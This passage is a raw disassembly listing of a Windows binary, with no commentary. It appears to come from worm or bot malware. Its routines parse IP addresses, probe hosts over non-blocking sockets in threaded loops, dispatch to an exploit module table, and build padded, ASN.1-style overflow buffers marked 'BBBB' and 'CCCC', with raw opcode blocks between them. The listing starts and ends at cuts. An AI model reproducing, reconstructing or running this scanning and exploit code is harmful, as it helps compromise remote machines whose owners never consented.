esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_41AFE0 cmp eax, 0Fh pop ecx jbe short loc_40C014 xor eax, eax jmp short loc_40C085 ; --------------------------------------------------------------------------- loc_40C014: ; CODE XREF: sub_40BFEC+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_41C645 add esp, 18h cmp [ebp+var_C], esi jnz short loc_40C041 call sub_41B8E2 mov [ebp+var_C], eax loc_40C041: ; CODE XREF: sub_40BFEC+4Bj cmp [ebp+var_8], esi jnz short loc_40C04E call sub_41B8E2 mov [ebp+var_8], eax loc_40C04E: ; CODE XREF: sub_40BFEC+58j cmp [ebp+var_4], esi jnz short loc_40C05B call sub_41B8E2 mov [ebp+var_4], eax loc_40C05B: ; CODE XREF: sub_40BFEC+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_40C067 call sub_41B8E2 loc_40C067: ; CODE XREF: sub_40BFEC+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_4CB7A0[ecx*8], eax loc_40C085: ; CODE XREF: sub_40BFEC+26j pop esi leave retn sub_40BFEC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C088 proc near ; CODE XREF: ___:0040B8FBp ; sub_40C125+BBp var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_4CB6D4 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C0B1 xor eax, eax jmp short loc_40C120 ; --------------------------------------------------------------------------- loc_40C0B1: ; CODE XREF: sub_40C088+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_4CB654 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4CB6F0 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4CB5FC mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4CB63C push esi mov edi, eax call dword_4CB6EC xor eax, eax cmp edi, ebx setnle al loc_40C120: ; CODE XREF: sub_40C088+27j pop edi pop esi pop ebx leave retn sub_40C088 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C125 proc near ; DATA XREF: sub_40C125+353o var_29C = dword ptr -29Ch var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_1CC = byte ptr -1CCh var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_14C = byte ptr -14Ch var_140 = byte ptr -140h var_13C = byte ptr -13Ch var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 2690AA5h push eax call sub_41B8D8 mov ebx, esi pop ecx imul ebx, 234h loc_40C16C: ; CODE XREF: sub_40C125+204j mov eax, dword_43E594[ebx] cmp dword_4CB7A4[eax*8], 0 jz loc_40C32E cmp [ebp+var_10], 0 push eax jz short loc_40C196 lea eax, [ebp+var_150] push eax call sub_40BFEC pop ecx jmp short loc_40C19B ; --------------------------------------------------------------------------- loc_40C196: ; CODE XREF: sub_40C125+60j call sub_40BFA4 loc_40C19B: ; CODE XREF: sub_40C125+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_43E594[ebx] push [ebp+var_3C] push edi call dword_4CB6E0 push eax lea eax, [ebp+var_28C] push offset unk_43216C push eax call sub_41B886 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_43E390[ebx] push eax call sub_41B886 push [ebp+var_38] push [ebp+var_3C] push edi call sub_40C088 add esp, 14h cmp eax, 1 jnz loc_40C31E cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_40C272 push offset dword_4CD7A0 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_4CB6E0 push eax lea eax, [ebp+var_28C] push offset unk_432144 push eax call sub_41B886 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_40C254 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40C248 lea eax, [ebp+var_140] loc_40C248: ; CODE XREF: sub_40C125+11Bj push eax push [ebp+var_40] call sub_409A73 add esp, 14h loc_40C254: ; CODE XREF: sub_40C125+100j lea eax, [ebp+var_28C] push eax call sub_4151AD mov [esp+29Ch+var_29C], offset dword_4CD7A0 call near ptr 77F7E300h nop jmp loc_40C31E ; --------------------------------------------------------------------------- loc_40C272: ; CODE XREF: sub_40C125+D0j push edi call dword_4CB6E0 push eax lea eax, [ebp+var_208] push eax call sub_41B886 mov eax, [ebp+var_20] pop ecx shl eax, 6 pop ecx add eax, offset aSym ; "sym" push eax lea eax, [ebp+var_178] push eax call sub_41B886 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_40C2B7 lea eax, [ebp+var_140] loc_40C2B7: ; CODE XREF: sub_40C125+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_41B886 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] pop ecx mov [ebp+var_15C], eax mov eax, [ebp+var_14] sub esp, 0BCh mov [ebp+var_158], eax mov eax, [ebp+var_3C] push 2Fh mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_168], esi mov [ebp+var_164], eax lea esi, [ebp+var_20C] mov edi, esp shl eax, 6 rep movsd call off_431B04[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_40C31E: ; CODE XREF: sub_40C125+C6j ; sub_40C125+148j push 7D0h nop call near ptr 2680000h jmp loc_40C16C ; --------------------------------------------------------------------------- loc_40C32E: ; CODE XREF: sub_40C125+55j push esi call sub_40B413 pop ecx push 0 nop call near ptr 26E0000h loc_40C33D: ; DATA XREF: sub_401ACD+1F82o ; sub_401ACD+5C49o push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_4CB694 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_4CB7A0[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_40BACE push 0Bh call sub_40B33F add esp, 150h cmp eax, ebx jnz short loc_40C40B mov esi, offset dword_4CD7A0 push esi nop call near ptr 26E069Dh push 80000400h push esi nop call near ptr 26E0513h test eax, eax jnz short loc_40C40B lea eax, [ebp+var_1CC] push offset unk_432250 push eax call sub_41B886 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_40C3F5 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A73 add esp, 14h loc_40C3F5: ; CODE XREF: sub_40C125+2B1j lea eax, [ebp+var_1CC] push eax call sub_4151AD pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_40C40B: ; CODE XREF: sub_40C125+27Bj ; sub_40C125+297j mov eax, [ebp+var_2C] mov esi, dword_427078 mov edi, ebx mov dword_4CB7A4[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_40C4D8 loc_40C429: ; CODE XREF: sub_40C125+3ADj push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_43221C push eax call sub_41B886 push ebx lea eax, [ebp+var_1CC] push 0Bh push eax call sub_40B0F7 mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_43E594[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_40C125 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40C4A3 loc_40C498: ; CODE XREF: sub_40C125+37Cj cmp [ebp+var_4], ebx jnz short loc_40C4CA push 1Eh call esi jmp short loc_40C498 ; --------------------------------------------------------------------------- loc_40C4A3: ; CODE XREF: sub_40C125+371j nop call near ptr 2680ABEh push eax lea eax, [ebp+var_1CC] push offset unk_4321E4 push eax call sub_41B886 lea eax, [ebp+var_1CC] push eax call sub_4151AD add esp, 10h loc_40C4CA: ; CODE XREF: sub_40C125+376j push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_40C429 loc_40C4D8: ; CODE XREF: sub_40C125+2FEj cmp [ebp+var_30], ebx jz loc_40C582 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_40C4ED: ; CODE XREF: sub_40C125+468j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_4CB7A0[eax*8] push eax call dword_4CB6E0 push eax lea eax, [ebp+var_1CC] push offset unk_4321A4 push eax call sub_41B886 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_40C53B push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_409A73 add esp, 14h loc_40C53B: ; CODE XREF: sub_40C125+3F7j lea eax, [ebp+var_1CC] push eax call sub_4151AD mov eax, [ebp+var_2C] mov [esp+29Ch+var_29C], 0BB8h mov dword_4CB7A4[eax*8], ebx call esi push 0Bh call sub_40B33F cmp eax, 1 pop ecx jnz short loc_40C572 push offset dword_4CD7A0 nop call near ptr 26E069Dh loc_40C572: ; CODE XREF: sub_40C125+440j push [ebp+var_2C] call sub_40B413 pop ecx push ebx nop call near ptr 26E0000h loc_40C582: ; CODE XREF: sub_40C125+3B6j ; sub_40C125+475j mov eax, [ebp+var_2C] cmp dword_4CB7A4[eax*8], 1 jnz loc_40C4ED push 7D0h call esi jmp short loc_40C582 sub_40C125 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C59C proc near var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0BCh mov eax, [ebp+arg_0] push esi push edi push 2Bh pop ecx mov esi, eax lea edi, [ebp+var_BC] push 1 rep movsd pop esi mov [eax+0A8h], esi push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_38] call dword_4CB654 mov [ebp+var_E], ax mov eax, [ebp+var_28] push 6 push esi push 2 mov [ebp+var_C], eax call dword_4CB6D4 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40C65A lea eax, [ebp+var_10] push 10h push eax push esi call dword_4CB5FC mov ecx, [ebp+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_43E59C[ecx], esi jz short loc_40C65A push [ebp+var_38] push [ebp+var_28] call dword_4CB6E0 push eax mov edi, offset dword_4CE164 push offset dword_432284 push edi call sub_41B886 push 0 lea eax, [ebp+var_B8] push [ebp+var_20] push edi push eax push [ebp+var_BC] call sub_409A73 push edi call sub_4151AD add esp, 28h loc_40C65A: ; CODE XREF: sub_40C59C+5Dj ; sub_40C59C+7Ej push esi call dword_4CB6EC pop edi xor eax, eax pop esi leave retn 4 sub_40C59C endp ; --------------------------------------------------------------------------- byte_40C669 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+603Fo dd 134EC81h, 8B530000h, 5756085Dh, 0F38B2B6Ah, 4CBD8D59h dd 0F3FFFFFFh, 78358BA5h, 0C7004270h, 0A483h, 100h, 0FFFF3300h dd 75FFD075h, 0E015FFE0h, 50004CB6h, 0FECC858Dh, 0AC68FFFFh dd 50004322h, 0F1D1E8h, 0CC858D00h, 68FFFFFEh, 1FFh, 0DC458B50h dd 234C069h, 90050000h, 500043E3h, 0EF1BE8h, 1CC48300h dd 50F8458Dh, 0FF4C858Dh, 5057FFFFh, 40C59C68h, 0E8575700h dd 22739A8h, 89C73B90h, 0B74FC45h, 75F47D39h, 0FF326A06h dd 0FFF5EBD6h, 0EE8FC75h, 90022542h, 8CB3FFh, 0BB890000h dd 0A8h, 458DD6FFh, 50046AE0h, 5008458Dh, 0FBE7E8h, 0CC48300h dd 0FF0875FFh, 4CB57C15h, 89504000h, 15FF0845h, 4CB650h dd 8D084589h, 46A0845h, 0E0458D50h, 0FBBEE850h, 0C4830000h dd 0FF3DE90Ch db 2 dup(0FFh) word_40C75A dw 8B55h ; DATA XREF: sub_401ACD+5D4Fo dd 30EC81ECh, 53000001h, 56085D8Bh, 8B2B6A57h, 0BD8D59F3h dd 0FFFFFF50h, 358BA5F3h, 427078h, 0A483C7h, 10000h, 0FF330000h dd 0FFD475FFh, 15FFE475h, 4CB6E0h, 0D0858D50h, 68FFFFFEh dd 432300h, 0F0E0E850h, 858D0000h, 0FFFFFED0h, 1FF68h dd 458B5000h, 34C069E0h, 5000002h, 43E390h, 0EE2AE850h dd 0C4830000h, 0FC458D1Ch, 50858D50h, 57FFFFFFh, 0C59C6850h dd 57570040h, 38B6E890h, 0C73B0227h, 74084589h, 0F87D390Bh dd 326A0675h, 0F5EBD6FFh, 900875FFh, 25411CE8h, 8CB3FF02h dd 89000000h, 0A8BBh, 8BD6FF00h, 453BD445h, 0FF0874D8h dd 6DE9D445h, 0FFFFFFFFh, 15FFE475h, 4CB6E0h, 0D0858D50h dd 68FFFFFEh, 4322D4h, 0F050E850h, 8D570000h, 0FFFED085h dd 0EC75FFFFh, 54858D50h, 50FFFFFFh, 0FF50B5FFh, 20E8FFFFh dd 0FFFFFFD2h, 0B8E8E075h, 83FFFFEBh, 0C03324C4h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn 4 ; =============== S U B R O U T I N E ======================================= sub_40C867 proc near ; CODE XREF: sub_40CADB+Ep ; sub_40CADB+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_40C867 endp ; =============== S U B R O U T I N E ======================================= sub_40C871 proc near ; CODE XREF: sub_40CADB+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi mov esi, ecx push ebx call sub_41B4D5 mov edi, eax pop ecx test edi, edi jz short loc_40C8A3 push ebx push 0 push edi call sub_41B590 push ebx push [esp+1Ch+arg_0] push edi call sub_41C310 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_40C8A3: ; CODE XREF: sub_40C871+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_40C871 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AB proc near ; CODE XREF: sub_40C9A5+18p ; sub_40CA1F+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx push esi mov ecx, [ebp+arg_C] push edi lea edi, [eax+ecx] push edi call sub_41B4D5 mov esi, eax pop ecx test esi, esi jz short loc_40C8F7 push edi push 0 push esi call sub_41B590 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_41C310 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_41C310 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40C8F7: ; CODE XREF: sub_40C8AB+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_40C8AB endp ; =============== S U B R O U T I N E ======================================= sub_40C900 proc near ; CODE XREF: sub_40C9A5+5Ep ; sub_40C9A5+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_40C910 push eax call sub_41B0B1 pop ecx loc_40C910: ; CODE XREF: sub_40C900+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_40C900 endp ; =============== S U B R O U T I N E ======================================= sub_40C919 proc near ; CODE XREF: sub_40C9A5+20p ; sub_40CA80+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_40C946 xor ebx, ebx cmp eax, 7Fh setnl bl dec ebx and ebx, 0FFFFFFFEh add ebx, 3 add eax, ebx push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C94A loc_40C946: ; CODE XREF: sub_40C919+Dj xor al, al jmp short loc_40C9A1 ; --------------------------------------------------------------------------- loc_40C94A: ; CODE XREF: sub_40C919+2Bj mov eax, ebx add eax, [esi+4] push eax push 0 push edi call sub_41B590 add esp, 0Ch cmp ebx, 1 jnz short loc_40C96F mov al, [esi+4] mov [edi], al push dword ptr [esi+4] lea eax, [edi+1] push dword ptr [esi] jmp short loc_40C989 ; --------------------------------------------------------------------------- loc_40C96F: ; CODE XREF: sub_40C919+45j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al push dword ptr [esi+4] lea eax, [edi+3] push dword ptr [esi] loc_40C989: ; CODE XREF: sub_40C919+54j push eax call sub_41C310 add esp, 0Ch push dword ptr [esi] call sub_41B0B1 add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40C9A1: ; CODE XREF: sub_40C919+2Fj pop edi pop esi pop ebx retn sub_40C919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A5 proc near ; CODE XREF: sub_40CADB+89p ; sub_40CADB+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_4CB50C call sub_40C8AB lea ecx, [ebp+var_8] call sub_40C919 mov eax, [ebp+var_4] inc eax push eax call sub_41B4D5 mov edi, eax pop ecx test edi, edi jnz short loc_40C9DF xor al, al jmp short loc_40CA1B ; --------------------------------------------------------------------------- loc_40C9DF: ; CODE XREF: sub_40C9A5+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_41B590 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_41C310 add esp, 18h mov ecx, esi call sub_40C900 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_40C900 mov al, 1 loc_40CA1B: ; CODE XREF: sub_40C9A5+38j pop edi pop esi leave retn sub_40C9A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA1F proc near ; CODE XREF: sub_40CA53+14p ; sub_40CA70+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_40C8AB mov ecx, esi call sub_40C900 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40CA1F endp ; =============== S U B R O U T I N E ======================================= sub_40CA53 proc near ; CODE XREF: sub_40CADB+F0p ; sub_40CADB+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_41AFE0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40CA1F pop esi retn 4 sub_40CA53 endp ; =============== S U B R O U T I N E ======================================= sub_40CA70 proc near ; CODE XREF: sub_40CABC+Bp ; sub_40CADB+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40CA1F retn 8 sub_40CA70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA80 proc near ; CODE XREF: sub_40CABC+16p ; sub_40CADB+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40C919 test al, al jz short loc_40CAB9 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push offset dword_42CFE0 call sub_40C8AB mov ecx, esi call sub_40C900 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_40CAB9: ; CODE XREF: sub_40CA80+Fj pop esi leave retn sub_40CA80 endp ; =============== S U B R O U T I N E ======================================= sub_40CABC proc near ; CODE XREF: sub_40CADB+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_40CA70 test al, al jz short loc_40CAD7 mov ecx, esi call sub_40CA80 loc_40CAD7: ; CODE XREF: sub_40CABC+12j pop esi retn 8 sub_40CABC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CADB proc near ; CODE XREF: ___:0040D362p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_40C867 mov edi, 408h cmp [ebp+arg_8], edi jg loc_40CE2F mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_40CE2F push esi lea ecx, [ebp+var_30] call sub_40C867 lea ecx, [ebp+var_20] call sub_40C867 lea ecx, [ebp+var_50] call sub_40C867 lea ecx, [ebp+var_18] call sub_40C867 lea ecx, [ebp+var_40] call sub_40C867 lea ecx, [ebp+var_38] call sub_40C867 lea ecx, [ebp+var_28] call sub_40C867 push 4 push offset dword_432338 lea ecx, [ebp+var_30] call sub_40CA1F push 3 push offset dword_432340 lea ecx, [ebp+var_30] call sub_40CA1F lea ecx, [ebp+var_30] call sub_40C9A5 lea ecx, [ebp+var_30] call sub_40CA80 mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset aRbrbrbrb ; "BBBB" call sub_40CA1F push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40CA1F mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40CA1F lea ecx, [ebp+var_20] call sub_40C9A5 push offset loc_4326BC lea ecx, [ebp+var_50] call sub_40CA53 lea ecx, [ebp+var_50] call sub_40C9A5 push esi lea eax, [ebp+var_858] push 44h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_40C871 lea ecx, [ebp+var_58] call sub_40C9A5 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_40CABC lea ecx, [ebp+var_58] call sub_40C900 push esi lea eax, [ebp+var_858] push 43h push eax call sub_41B590 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_40CA53 push 4 push offset dword_432344 lea ecx, [ebp+var_18] call sub_40CA1F push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40CA1F sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40CA1F lea ecx, [ebp+var_18] call sub_40C9A5 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_40CA70 push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_40CA70 lea ecx, [ebp+var_40] call sub_40CA80 lea ecx, [ebp+var_18] call sub_40C900 lea ecx, [ebp+var_50] call sub_40C900 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_40CA70 push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_40CA70 push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_40CA70 lea ecx, [ebp+var_38] call sub_40CA80 lea ecx, [ebp+var_20] call sub_40C900 lea ecx, [ebp+var_30] call sub_40C900 lea ecx, [ebp+var_40] call sub_40C900 push esi lea eax, [ebp+var_858] push 41h push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_28] push 400h push eax call sub_40CA1F lea ecx, [ebp+var_28] call sub_40C9A5 push 2 push offset dword_4326B0 lea ecx, [ebp+var_28] call sub_40CA1F push [ebp+var_34] lea ecx, [ebp+var_28] push [ebp+var_38] call sub_40CA70 lea ecx, [ebp+var_28] call sub_40CA80 lea ecx, [ebp+var_38] call sub_40C900 lea ecx, [ebp+var_10] call sub_40C867 lea ecx, [ebp+var_8] call sub_40C867 push [ebp+var_24] lea ecx, [ebp+var_10] push [ebp+var_28] call sub_40CA70 lea ecx, [ebp+var_10] call sub_40C919 lea ecx, [ebp+var_28] call sub_40C900 push offset dword_4326AC lea ecx, [ebp+var_8] call sub_40CA53 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA70 lea ecx, [ebp+var_8] call sub_40C919 lea ecx, [ebp+var_10] call sub_40C900 push offset dword_4326A8 lea ecx, [ebp+var_10] call sub_40CA53 push [ebp+var_4] lea ecx, [ebp+var_10] push [ebp+var_8] call sub_40CA70 lea ecx, [ebp+var_10] call sub_40C919 lea ecx, [ebp+var_8] call sub_40C900 push offset dword_43269C lea ecx, [ebp+var_8] call sub_40CA53 push [ebp+var_C] lea ecx, [ebp+var_8] push [ebp+var_10] call sub_40CA70 lea ecx, [ebp+var_8] call sub_40C919 lea ecx, [ebp+var_10] call sub_40C900 push (offset loc_432697+1) lea ecx, [ebp+var_48] call sub_40CA53 push [ebp+var_4] lea ecx, [ebp+var_48] push [ebp+var_8] call sub_40CA70 lea ecx, [ebp+var_8] call sub_40C900 mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] pop esi mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx jmp short loc_40CE3D ; --------------------------------------------------------------------------- loc_40CE2F: ; CODE XREF: sub_40CADB+1Bj ; sub_40CADB+29j mov eax, [ebp+arg_0] mov ecx, [ebp+var_48] mov [eax], ecx mov ecx, [ebp+var_44] mov [eax+4], ecx loc_40CE3D: ; CODE XREF: sub_40CADB+352j pop edi pop ebx leave retn sub_40CADB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE41 proc near ; CODE XREF: sub_40CF05+A1p ; sub_40CF05+C2p ... var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push esi push edi mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_210] and [ebp+var_4], 0 push eax lea eax, [ebp+var_10C] push 0 push eax lea eax, [esi+1] push eax mov [ebp+var_108], esi mov [ebp+var_10C], edi mov [ebp+var_20C], esi mov [ebp+var_210], edi mov [ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40CEA8 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAC loc_40CEA8: ; CODE XREF: sub_40CE41+54j xor eax, eax jmp short loc_40CEBC ; --------------------------------------------------------------------------- loc_40CEAC: ; CODE XREF: sub_40CE41+65j push 